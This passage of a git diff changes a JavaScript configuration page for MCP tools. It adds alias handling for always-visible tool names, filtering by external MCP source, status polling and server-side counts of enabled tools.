return tool.name;
|
return tool.name;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 常驻工具配置存储键(外部工具用 mcp::tool,与后端 tool_search 白名单一致)
|
||||||
|
function getAlwaysVisibleStorageKey(tool) {
|
||||||
|
return getToolKey(tool);
|
||||||
|
}
|
||||||
|
|
||||||
|
function addAlwaysVisibleAliases(name) {
|
||||||
|
const n = (name || '').trim();
|
||||||
|
if (!n) return;
|
||||||
|
alwaysVisibleToolNames.add(n);
|
||||||
|
if (n.includes('::')) {
|
||||||
|
const sep = n.indexOf('::');
|
||||||
|
const mcp = n.slice(0, sep);
|
||||||
|
const tool = n.slice(sep + 2);
|
||||||
|
if (mcp && tool) {
|
||||||
|
alwaysVisibleToolNames.add(`${mcp}__${tool}`);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (n.includes('__')) {
|
||||||
|
const sep = n.lastIndexOf('__');
|
||||||
|
const mcp = n.slice(0, sep);
|
||||||
|
const tool = n.slice(sep + 2);
|
||||||
|
if (mcp && tool) {
|
||||||
|
alwaysVisibleToolNames.add(`${mcp}::${tool}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function removeAlwaysVisibleAliases(name) {
|
||||||
|
const n = (name || '').trim();
|
||||||
|
if (!n) return;
|
||||||
|
alwaysVisibleToolNames.delete(n);
|
||||||
|
if (n.includes('::')) {
|
||||||
|
const sep = n.indexOf('::');
|
||||||
|
const mcp = n.slice(0, sep);
|
||||||
|
const tool = n.slice(sep + 2);
|
||||||
|
if (mcp && tool) {
|
||||||
|
alwaysVisibleToolNames.delete(`${mcp}__${tool}`);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (n.includes('__')) {
|
||||||
|
const sep = n.lastIndexOf('__');
|
||||||
|
const mcp = n.slice(0, sep);
|
||||||
|
const tool = n.slice(sep + 2);
|
||||||
|
if (mcp && tool) {
|
||||||
|
alwaysVisibleToolNames.delete(`${mcp}::${tool}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function isToolAlwaysVisible(tool) {
|
||||||
|
const key = getAlwaysVisibleStorageKey(tool);
|
||||||
|
if (alwaysVisibleToolNames.has(key)) return true;
|
||||||
|
if (alwaysVisibleToolNames.has(tool.name)) return true;
|
||||||
|
if (tool.is_external && tool.external_mcp) {
|
||||||
|
if (alwaysVisibleToolNames.has(`${tool.external_mcp}__${tool.name}`)) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
function isToolAlwaysVisibleBuiltin(tool) {
|
||||||
|
if (alwaysVisibleBuiltinToolNames.has(tool.name)) return true;
|
||||||
|
return alwaysVisibleBuiltinToolNames.has(getAlwaysVisibleStorageKey(tool));
|
||||||
|
}
|
||||||
|
|
||||||
|
function getAlwaysVisibleForSave() {
|
||||||
|
const out = new Set();
|
||||||
|
for (const name of alwaysVisibleToolNames) {
|
||||||
|
if (alwaysVisibleBuiltinToolNames.has(name)) continue;
|
||||||
|
if (name.includes('::')) {
|
||||||
|
out.add(name);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (name.includes('__')) {
|
||||||
|
const sep = name.lastIndexOf('__');
|
||||||
|
const mcp = name.slice(0, sep);
|
||||||
|
const tool = name.slice(sep + 2);
|
||||||
|
if (mcp && tool) out.add(`${mcp}::${tool}`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
out.add(name);
|
||||||
|
}
|
||||||
|
return Array.from(out);
|
||||||
|
}
|
||||||
|
|
||||||
|
function countUserAlwaysVisibleTools() {
|
||||||
|
return getAlwaysVisibleForSave().length;
|
||||||
|
}
|
||||||
// 从localStorage读取每页显示数量,默认为20
|
// 从localStorage读取每页显示数量,默认为20
|
||||||
const getToolsPageSize = () => {
|
const getToolsPageSize = () => {
|
||||||
const saved = localStorage.getItem('toolsPageSize');
|
const saved = localStorage.getItem('toolsPageSize');
|
||||||
@@ -158,14 +248,21 @@ async function loadConfig(loadTools = true) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
currentConfig = await response.json();
|
currentConfig = await response.json();
|
||||||
const alwaysVisibleList = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
|
|
||||||
const alwaysVisibleConfigured = currentConfig?.multi_agent?.tool_search_always_visible_tools;
|
const alwaysVisibleConfigured = currentConfig?.multi_agent?.tool_search_always_visible_tools;
|
||||||
alwaysVisibleToolNames = new Set(Array.isArray(alwaysVisibleList) ? alwaysVisibleList.filter(Boolean) : []);
|
const alwaysVisibleEffective = currentConfig?.multi_agent?.tool_search_always_visible_effective_tools;
|
||||||
alwaysVisibleBuiltinToolNames = new Set(
|
alwaysVisibleToolNames = new Set();
|
||||||
alwaysVisibleToolNames.size > 0 && Array.isArray(alwaysVisibleConfigured)
|
if (Array.isArray(alwaysVisibleConfigured)) {
|
||||||
? Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleConfigured.includes(name))
|
alwaysVisibleConfigured.filter(Boolean).forEach(addAlwaysVisibleAliases);
|
||||||
: []
|
}
|
||||||
);
|
alwaysVisibleBuiltinToolNames = new Set();
|
||||||
|
if (Array.isArray(alwaysVisibleEffective)) {
|
||||||
|
const configuredSet = new Set(Array.isArray(alwaysVisibleConfigured) ? alwaysVisibleConfigured : []);
|
||||||
|
alwaysVisibleEffective.filter(Boolean).forEach(name => {
|
||||||
|
if (!configuredSet.has(name)) {
|
||||||
|
alwaysVisibleBuiltinToolNames.add(name);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
// 填充OpenAI配置
|
// 填充OpenAI配置
|
||||||
const providerEl = document.getElementById('openai-provider');
|
const providerEl = document.getElementById('openai-provider');
|
||||||
@@ -442,8 +539,11 @@ let toolsSearchKeyword = '';
|
|||||||
// 工具状态筛选: '' = 全部, 'true' = 已启用, 'false' = 已停用
|
// 工具状态筛选: '' = 全部, 'true' = 已启用, 'false' = 已停用
|
||||||
let toolsStatusFilter = '';
|
let toolsStatusFilter = '';
|
||||||
|
|
||||||
|
// 按外部 MCP 来源筛选(点击左侧卡片时设置)
|
||||||
|
let toolsExternalMcpFilter = '';
|
||||||
|
|
||||||
// 加载工具列表(分页)
|
// 加载工具列表(分页)
|
||||||
async function loadToolsList(page = 1, searchKeyword = '') {
|
async function loadToolsList(page = 1, searchKeyword = '', options = {}) {
|
||||||
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致显示占位符
|
// 等待 i18n 就绪,避免快速刷新时翻译函数未初始化导致显示占位符
|
||||||
if (window.i18nReady) await window.i18nReady;
|
if (window.i18nReady) await window.i18nReady;
|
||||||
const toolsList = document.getElementById('tools-list');
|
const toolsList = document.getElementById('tools-list');
|
||||||
@@ -466,6 +566,12 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
|||||||
if (toolsStatusFilter !== '') {
|
if (toolsStatusFilter !== '') {
|
||||||
url += `&enabled=${toolsStatusFilter}`;
|
url += `&enabled=${toolsStatusFilter}`;
|
||||||
}
|
}
|
||||||
|
if (options.refreshExternal) {
|
||||||
|
url += '&refresh_external=true';
|
||||||
|
}
|
||||||
|
if (toolsExternalMcpFilter) {
|
||||||
|
url += `&external_mcp=${encodeURIComponent(toolsExternalMcpFilter)}`;
|
||||||
|
}
|
||||||
|
|
||||||
// 使用较短的超时时间(10秒),避免长时间等待
|
// 使用较短的超时时间(10秒),避免长时间等待
|
||||||
const controller = new AbortController();
|
const controller = new AbortController();
|
||||||
@@ -486,6 +592,7 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
|||||||
page: result.page || page,
|
page: result.page || page,
|
||||||
pageSize: result.page_size || pageSize,
|
pageSize: result.page_size || pageSize,
|
||||||
total: result.total || 0,
|
total: result.total || 0,
|
||||||
|
totalEnabled: result.total_enabled ?? 0,
|
||||||
totalPages: result.total_pages || 1
|
totalPages: result.total_pages || 1
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -504,6 +611,8 @@ async function loadToolsList(page = 1, searchKeyword = '') {
|
|||||||
|
|
||||||
renderToolsList();
|
renderToolsList();
|
||||||
renderToolsPagination();
|
renderToolsPagination();
|
||||||
|
renderExternalMcpFilterChip();
|
||||||
|
updateExternalMcpCardSelection();
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('加载工具列表失败:', error);
|
console.error('加载工具列表失败:', error);
|
||||||
if (toolsList) {
|
if (toolsList) {
|
||||||
@@ -622,8 +731,8 @@ function renderToolsList() {
|
|||||||
is_external: tool.is_external || false,
|
is_external: tool.is_external || false,
|
||||||
external_mcp: tool.external_mcp || ''
|
external_mcp: tool.external_mcp || ''
|
||||||
};
|
};
|
||||||
const alwaysVisibleChecked = alwaysVisibleToolNames.has(tool.name);
|
const alwaysVisibleChecked = isToolAlwaysVisible(tool);
|
||||||
const alwaysVisibleLocked = alwaysVisibleBuiltinToolNames.has(tool.name);
|
const alwaysVisibleLocked = isToolAlwaysVisibleBuiltin(tool);
|
||||||
|
|
||||||
// 外部工具标签,显示来源信息(可点击跳转到对应 MCP 卡片)
|
// 外部工具标签,显示来源信息(可点击跳转到对应 MCP 卡片)
|
||||||
let externalBadge = '';
|
let externalBadge = '';
|
||||||
@@ -648,7 +757,7 @@ function renderToolsList() {
|
|||||||
${escapeHtml(tool.name)}
|
${escapeHtml(tool.name)}
|
||||||
${externalBadge}
|
${externalBadge}
|
||||||
<label class="tool-resident-toggle" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleHint') : '始终常驻在 Tool Search 可见列表'}" onclick="event.stopPropagation()">
|
<label class="tool-resident-toggle" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleHint') : '始终常驻在 Tool Search 可见列表'}" onclick="event.stopPropagation()">
|
||||||
<input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(tool.name)}', this.checked)" />
|
<input type="checkbox" ${alwaysVisibleChecked ? 'checked' : ''} ${alwaysVisibleLocked ? 'disabled' : ''} onchange="handleToolAlwaysVisibleChange('${escapeHtml(toolKey)}', this.checked)" />
|
||||||
<span>${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleLabel') : '常驻'}</span>
|
<span>${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleLabel') : '常驻'}</span>
|
||||||
</label>
|
</label>
|
||||||
${alwaysVisibleLocked ? `<span class="external-tool-badge" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinHint') : '后端内置工具默认常驻,不可关闭'}">${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinLabel') : '内置默认'}</span>` : ''}
|
${alwaysVisibleLocked ? `<span class="external-tool-badge" title="${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinHint') : '后端内置工具默认常驻,不可关闭'}">${typeof window.t === 'function' ? window.t('mcp.alwaysVisibleBuiltinLabel') : '内置默认'}</span>` : ''}
|
||||||
@@ -763,8 +872,7 @@ function scrollToExternalMCP(mcpName, event) {
|
|||||||
event.stopPropagation();
|
event.stopPropagation();
|
||||||
const items = document.querySelectorAll('.external-mcp-item');
|
const items = document.querySelectorAll('.external-mcp-item');
|
||||||
for (const item of items) {
|
for (const item of items) {
|
||||||
const h4 = item.querySelector('h4');
|
if (item.dataset.mcpName === mcpName) {
|
||||||
if (h4 && h4.textContent.includes(mcpName)) {
|
|
||||||
item.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
item.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||||
item.classList.add('highlight');
|
item.classList.add('highlight');
|
||||||
setTimeout(() => item.classList.remove('highlight'), 2000);
|
setTimeout(() => item.classList.remove('highlight'), 2000);
|
||||||
@@ -773,6 +881,94 @@ function scrollToExternalMCP(mcpName, event) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 点击左侧外部 MCP 卡片,筛选并定位右侧工具列表
|
||||||
|
async function scrollToExternalMCPTools(mcpName, event) {
|
||||||
|
if (event) {
|
||||||
|
if (event.target.closest('.external-mcp-item-actions, button, a, input, label')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
event.stopPropagation();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (toolsExternalMcpFilter === mcpName) {
|
||||||
|
await clearExternalMcpFilter();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
toolsExternalMcpFilter = mcpName;
|
||||||
|
updateExternalMcpCardSelection();
|
||||||
|
renderExternalMcpFilterChip();
|
||||||
|
await loadToolsList(1, toolsSearchKeyword);
|
||||||
|
|
||||||
|
requestAnimationFrame(() => {
|
||||||
|
highlightExternalMcpTools(mcpName);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function highlightExternalMcpTools(mcpName) {
|
||||||
|
const toolsList = document.querySelector('.mcp-tools-panel .tools-list');
|
||||||
|
if (toolsList) {
|
||||||
|
toolsList.scrollTop = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
document.querySelectorAll('#tools-list .tool-item.highlight').forEach(el => {
|
||||||
|
el.classList.remove('highlight');
|
||||||
|
});
|
||||||
|
|
||||||
|
const selector = `#tools-list .tool-item[data-external-mcp="${CSS.escape(mcpName)}"]`;
|
||||||
|
const matchingTools = document.querySelectorAll(selector);
|
||||||
|
if (matchingTools.length === 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
matchingTools[0].scrollIntoView({ behavior: 'smooth', block: 'start' });
|
||||||
|
matchingTools.forEach(el => {
|
||||||
|
el.classList.add('highlight');
|
||||||
|
setTimeout(() => el.classList.remove('highlight'), 2000);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function clearExternalMcpFilter() {
|
||||||
|
toolsExternalMcpFilter = '';
|
||||||
|
updateExternalMcpCardSelection();
|
||||||
|
renderExternalMcpFilterChip();
|
||||||
|
await loadToolsList(1, toolsSearchKeyword);
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateExternalMcpCardSelection() {
|
||||||
|
document.querySelectorAll('.external-mcp-item').forEach(item => {
|
||||||
|
item.classList.toggle('selected', item.dataset.mcpName === toolsExternalMcpFilter);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderExternalMcpFilterChip() {
|
||||||
|
let chip = document.getElementById('tools-source-filter-chip');
|
||||||
|
const toolsActions = document.querySelector('.mcp-tools-panel .tools-actions');
|
||||||
|
if (!toolsActions) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!chip) {
|
||||||
|
chip = document.createElement('div');
|
||||||
|
chip.id = 'tools-source-filter-chip';
|
||||||
|
chip.className = 'tools-source-filter-chip';
|
||||||
|
toolsActions.appendChild(chip);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!toolsExternalMcpFilter) {
|
||||||
|
chip.style.display = 'none';
|
||||||
|
chip.innerHTML = '';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const t = typeof window.t === 'function' ? window.t : (k) => k;
|
||||||
|
chip.style.display = 'inline-flex';
|
||||||
|
chip.innerHTML = `
|
||||||
|
<span>${t('mcp.filterBySource', { name: escapeHtml(toolsExternalMcpFilter) })}</span>
|
||||||
|
<button type="button" class="tools-source-filter-clear" onclick="clearExternalMcpFilter()" title="${escapeHtml(t('mcp.clearSourceFilter'))}">×</button>
|
||||||
|
`;
|
||||||
|
}
|
||||||
|
|
||||||
// 渲染工具列表分页控件
|
// 渲染工具列表分页控件
|
||||||
function renderToolsPagination() {
|
function renderToolsPagination() {
|
||||||
const toolsList = document.getElementById('tools-list');
|
const toolsList = document.getElementById('tools-list');
|
||||||
@@ -847,14 +1043,15 @@ function handleToolCheckboxChange(toolKey, enabled) {
|
|||||||
updateToolsStats();
|
updateToolsStats();
|
||||||
}
|
}
|
||||||
|
|
||||||
function handleToolAlwaysVisibleChange(toolName, alwaysVisible) {
|
function handleToolAlwaysVisibleChange(toolKey, alwaysVisible) {
|
||||||
const name = (toolName || '').trim();
|
const key = (toolKey || '').trim();
|
||||||
if (!name) return;
|
if (!key) return;
|
||||||
if (alwaysVisible) {
|
if (alwaysVisible) {
|
||||||
alwaysVisibleToolNames.add(name);
|
addAlwaysVisibleAliases(key);
|
||||||
} else {
|
} else {
|
||||||
alwaysVisibleToolNames.delete(name);
|
removeAlwaysVisibleAliases(key);
|
||||||
}
|
}
|
||||||
|
updateToolsStats();
|
||||||
}
|
}
|
||||||
|
|
||||||
// 全选工具
|
// 全选工具
|
||||||
@@ -964,60 +1161,22 @@ async function updateToolsStats() {
|
|||||||
return checkbox ? checkbox.checked : tool.enabled;
|
return checkbox ? checkbox.checked : tool.enabled;
|
||||||
}).length;
|
}).length;
|
||||||
} else {
|
} else {
|
||||||
// 没有搜索时,需要获取所有工具的状态
|
// 使用服务端统计,避免为统计翻页触发多次外部 MCP ListTools
|
||||||
// 先使用全局状态映射和当前页的checkbox状态
|
totalEnabled = toolsPagination.totalEnabled ?? 0;
|
||||||
const localStateMap = new Map();
|
if (toolStateMap.size > 0) {
|
||||||
|
let delta = 0;
|
||||||
// 从当前页的checkbox获取状态(如果全局映射中没有)
|
allTools.forEach(tool => {
|
||||||
allTools.forEach(tool => {
|
const toolKey = getToolKey(tool);
|
||||||
const toolKey = getToolKey(tool);
|
const savedState = toolStateMap.get(toolKey);
|
||||||
const savedState = toolStateMap.get(toolKey);
|
if (savedState === undefined) {
|
||||||
if (savedState !== undefined) {
|
return;
|
||||||
localStateMap.set(toolKey, savedState.enabled);
|
|
||||||
} else {
|
|
||||||
const checkboxId = `tool-${toolKey.replace(/::/g, '--')}`;
|
|
||||||
const checkbox = document.getElementById(checkboxId);
|
|
||||||
if (checkbox) {
|
|
||||||
localStateMap.set(toolKey, checkbox.checked);
|
|
||||||
} else {
|
|
||||||
// 如果checkbox不存在(不在当前页),使用工具原始状态
|
|
||||||
localStateMap.set(toolKey, tool.enabled);
|
|
||||||
}
|
}
|
||||||
}
|
if (savedState.enabled !== tool.enabled) {
|
||||||
});
|
delta += savedState.enabled ? 1 : -1;
|
||||||
|
|
||||||
// 如果总工具数大于当前页,需要获取所有工具的状态
|
|
||||||
if (totalTools > allTools.length) {
|
|
||||||
// 遍历所有页面获取完整状态
|
|
||||||
let page = 1;
|
|
||||||
let hasMore = true;
|
|
||||||
const pageSize = 100; // 使用较大的页面大小以减少请求次数
|
|
||||||
|
|
||||||
while (hasMore && page <= 10) { // 限制最多10页,避免无限循环
|
|
||||||
const url = `/api/config/tools?page=${page}&page_size=${pageSize}`;
|
|
||||||
const pageResponse = await apiFetch(url);
|
|
||||||
if (!pageResponse.ok) break;
|
|
||||||
|
|
||||||
const pageResult = await pageResponse.json();
|
|
||||||
pageResult.tools.forEach(tool => {
|
|
||||||
// 优先使用全局状态映射,否则使用服务器返回的状态
|
|
||||||
const toolKey = getToolKey(tool);
|
|
||||||
if (!localStateMap.has(toolKey)) {
|
|
||||||
const savedState = toolStateMap.get(toolKey);
|
|
||||||
localStateMap.set(toolKey, savedState ? savedState.enabled : tool.enabled);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
if (page >= pageResult.total_pages) {
|
|
||||||
hasMore = false;
|
|
||||||
} else {
|
|
||||||
page++;
|
|
||||||
}
|
}
|
||||||
}
|
});
|
||||||
|
totalEnabled = Math.max(0, totalEnabled + delta);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 计算启用的工具数
|
|
||||||
totalEnabled = Array.from(localStateMap.values()).filter(enabled => enabled).length;
|
|
||||||
}
|
}
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.warn('获取工具统计失败,使用当前页数据', error);
|
console.warn('获取工具统计失败,使用当前页数据', error);
|
||||||
@@ -1027,7 +1186,7 @@ async function updateToolsStats() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const tStats = typeof window.t === 'function' ? window.t : (k) => k;
|
const tStats = typeof window.t === 'function' ? window.t : (k) => k;
|
||||||
const pinnedCount = alwaysVisibleToolNames.size;
|
const pinnedCount = countUserAlwaysVisibleTools();
|
||||||
statsEl.innerHTML = `
|
statsEl.innerHTML = `
|
||||||
<span title="${tStats('mcp.currentPageEnabled')}">✅ ${tStats('mcp.currentPageEnabled')}: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
|
<span title="${tStats('mcp.currentPageEnabled')}">✅ ${tStats('mcp.currentPageEnabled')}: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
|
||||||
<span title="${tStats('mcp.totalEnabled')}">📊 ${tStats('mcp.totalEnabled')}: <strong>${totalEnabled}</strong> / ${totalTools}</span>
|
<span title="${tStats('mcp.totalEnabled')}">📊 ${tStats('mcp.totalEnabled')}: <strong>${totalEnabled}</strong> / ${totalTools}</span>
|
||||||
@@ -1535,7 +1694,7 @@ async function saveToolsConfig() {
|
|||||||
robot_default_agent_mode: currentConfig?.multi_agent?.robot_default_agent_mode || 'eino_single',
|
robot_default_agent_mode: currentConfig?.multi_agent?.robot_default_agent_mode || 'eino_single',
|
||||||
batch_use_multi_agent: currentConfig?.multi_agent?.batch_use_multi_agent === true,
|
batch_use_multi_agent: currentConfig?.multi_agent?.batch_use_multi_agent === true,
|
||||||
plan_execute_loop_max_iterations: Number(currentConfig?.multi_agent?.plan_execute_loop_max_iterations || 0),
|
plan_execute_loop_max_iterations: Number(currentConfig?.multi_agent?.plan_execute_loop_max_iterations || 0),
|
||||||
tool_search_always_visible_tools: Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleBuiltinToolNames.has(name))
|
tool_search_always_visible_tools: getAlwaysVisibleForSave()
|
||||||
},
|
},
|
||||||
tools: []
|
tools: []
|
||||||
};
|
};
|
||||||
@@ -1732,6 +1891,32 @@ async function fetchExternalMCPs() {
|
|||||||
return response.json();
|
return response.json();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// MCP 管理页定时刷新外部 MCP 状态(感知后台断连/自动重连)
|
||||||
|
let externalMcpPollTimer = null;
|
||||||
|
const EXTERNAL_MCP_POLL_INTERVAL_MS = 8000;
|
||||||
|
|
||||||
|
function startExternalMcpPoll() {
|
||||||
|
stopExternalMcpPoll();
|
||||||
|
externalMcpPollTimer = setInterval(function () {
|
||||||
|
const mcpPage = document.getElementById('page-mcp-management');
|
||||||
|
if (!mcpPage || !mcpPage.classList.contains('active')) {
|
||||||
|
stopExternalMcpPoll();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (document.hidden) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
loadExternalMCPs().catch(function () { /* ignore */ });
|
||||||
|
}, EXTERNAL_MCP_POLL_INTERVAL_MS);
|
||||||
|
}
|
||||||
|
|
||||||
|
function stopExternalMcpPoll() {
|
||||||
|
if (externalMcpPollTimer) {
|
||||||
|
clearInterval(externalMcpPollTimer);
|
||||||
|
externalMcpPollTimer = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 加载外部MCP列表并渲染
|
// 加载外部MCP列表并渲染
|
||||||
async function loadExternalMCPs() {
|
async function loadExternalMCPs() {
|
||||||
try {
|
try {
|
||||||
@@ -1750,6 +1935,13 @@ async function loadExternalMCPs() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function reloadMcpToolsAfterExternalChange(refreshExternal = false) {
|
||||||
|
if (typeof loadToolsList === 'function') {
|
||||||
|
const page = (toolsPagination && toolsPagination.page) ? toolsPagination.page : 1;
|
||||||
|
await loadToolsList(page, toolsSearchKeyword, { refreshExternal });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 轮询列表直到指定 MCP 的工具数量已更新(每秒拉一次,拿到即停,无固定延迟)
|
// 轮询列表直到指定 MCP 的工具数量已更新(每秒拉一次,拿到即停,无固定延迟)
|
||||||
// name 为 null 时仅按 maxAttempts 次数轮询,不判断 tool_count
|
// name 为 null 时仅按 maxAttempts 次数轮询,不判断 tool_count
|
||||||
async function pollExternalMCPToolCount(name, maxAttempts = 10) {
|
async function pollExternalMCPToolCount(name, maxAttempts = 10) {
|
||||||
@@ -1768,6 +1960,7 @@ async function pollExternalMCPToolCount(name, maxAttempts = 10) {
|
|||||||
console.warn('轮询工具数量失败:', e);
|
console.warn('轮询工具数量失败:', e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
await reloadMcpToolsAfterExternalChange(true);
|
||||||
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
||||||
window.refreshMentionTools();
|
window.refreshMentionTools();
|
||||||
}
|
}
|
||||||
@@ -1802,8 +1995,15 @@ function renderExternalMCPList(servers) {
|
|||||||
const transport = server.config.type || server.config.transport || (server.config.command ? 'stdio' : 'http');
|
const transport = server.config.type || server.config.transport || (server.config.command ? 'stdio' : 'http');
|
||||||
const transportIcon = transport === 'stdio' ? '⚙️' : '🌐';
|
const transportIcon = transport === 'stdio' ? '⚙️' : '🌐';
|
||||||
|
|
||||||
|
const hasTools = server.tool_count !== undefined && server.tool_count > 0;
|
||||||
|
const cardClickTitle = hasTools
|
||||||
|
? escapeHtml(statusT('mcp.clickToViewTools', { name }))
|
||||||
|
: '';
|
||||||
|
const cardClass = hasTools ? 'external-mcp-item clickable' : 'external-mcp-item';
|
||||||
|
const selectedClass = toolsExternalMcpFilter === name ? ' selected' : '';
|
||||||
|
|
||||||
html += `
|
html += `
|
||||||
<div class="external-mcp-item">
|
<div class="${cardClass}${selectedClass}" data-mcp-name="${escapeHtml(name)}"${hasTools ? ` onclick="scrollToExternalMCPTools('${escapeHtml(name)}', event)" title="${cardClickTitle}"` : ''}>
|
||||||
<div class="external-mcp-item-header">
|
<div class="external-mcp-item-header">
|
||||||
<div class="external-mcp-item-info">
|
<div class="external-mcp-item-info">
|
||||||
<h4>${transportIcon} ${escapeHtml(name)}${server.tool_count !== undefined && server.tool_count > 0 ? `<span class="tool-count-badge" title="${escapeHtml(statusT('mcp.toolCount'))}">🔧 ${server.tool_count}</span>` : ''}</h4>
|
<h4>${transportIcon} ${escapeHtml(name)}${server.tool_count !== undefined && server.tool_count > 0 ? `<span class="tool-count-badge" title="${escapeHtml(statusT('mcp.toolCount'))}">🔧 ${server.tool_count}</span>` : ''}</h4>
|
||||||
@@ -1822,9 +2022,9 @@ function renderExternalMCPList(servers) {
|
|||||||
<button class="btn-small btn-danger" onclick="deleteExternalMCP('${escapeHtml(name)}')" title="${statusT('mcp.deleteConfig')}" ${status === 'connecting' ? 'disabled' : ''}>🗑 ${statusT('common.delete')}</button>
|
<button class="btn-small btn-danger" onclick="deleteExternalMCP('${escapeHtml(name)}')" title="${statusT('mcp.deleteConfig')}" ${status === 'connecting' ? 'disabled' : ''}>🗑 ${statusT('common.delete')}</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
${status === 'error' && server.error ? `
|
${(status === 'error' || status === 'disconnected') && server.error ? `
|
||||||
<div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: #fee; border-left: 3px solid #f44; border-radius: 4px; color: #c33; font-size: 0.875rem;">
|
<div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: ${status === 'error' ? '#fee' : '#fff8e6'}; border-left: 3px solid ${status === 'error' ? '#f44' : '#e6a700'}; border-radius: 4px; color: ${status === 'error' ? '#c33' : '#8a6d00'}; font-size: 0.875rem;">
|
||||||
<strong>❌ ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
|
<strong>${status === 'error' ? '❌' : '⚠️'} ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
|
||||||
</div>` : ''}
|
</div>` : ''}
|
||||||
<div class="external-mcp-item-details">
|
<div class="external-mcp-item-details">
|
||||||
<div>
|
<div>
|
||||||
@@ -1866,6 +2066,7 @@ function renderExternalMCPList(servers) {
|
|||||||
}
|
}
|
||||||
html += '</div>';
|
html += '</div>';
|
||||||
list.innerHTML = html;
|
list.innerHTML = html;
|
||||||
|
updateExternalMcpCardSelection();
|
||||||
}
|
}
|
||||||
|
|
||||||
// 渲染外部MCP统计信息
|
// 渲染外部MCP统计信息
|
||||||
@@ -1895,47 +2096,42 @@ function showAddExternalMCPModal() {
|
|||||||
document.getElementById('external-mcp-json-error').style.display = 'none';
|
document.getElementById('external-mcp-json-error').style.display = 'none';
|
||||||
document.getElementById('external-mcp-json-error').textContent = '';
|
document.getElementById('external-mcp-json-error').textContent = '';
|
||||||
document.getElementById('external-mcp-json').classList.remove('error');
|
document.getElementById('external-mcp-json').classList.remove('error');
|
||||||
document.getElementById('external-mcp-modal').style.display = 'block';
|
openAppModal('external-mcp-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭外部MCP模态框
|
// 关闭外部MCP模态框
|
||||||
function closeExternalMCPModal() {
|
function closeExternalMCPModal() {
|
||||||
document.getElementById('external-mcp-modal').style.display = 'none';
|
closeAppModal('external-mcp-modal');
|
||||||
currentEditingMCPName = null;
|
currentEditingMCPName = null;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 编辑外部MCP
|
// 编辑外部MCP
|
||||||
async function editExternalMCP(name) {
|
async function editExternalMCP(name) {
|
||||||
try {
|
try {
|
||||||
|
currentEditingMCPName = name;
|
||||||
|
document.getElementById('external-mcp-modal-title').textContent = (typeof window.t === 'function' ? window.t('mcp.editExternalMCP') : '编辑外部MCP');
|
||||||
|
document.getElementById('external-mcp-json').value = '';
|
||||||
|
document.getElementById('external-mcp-json-error').style.display = 'none';
|
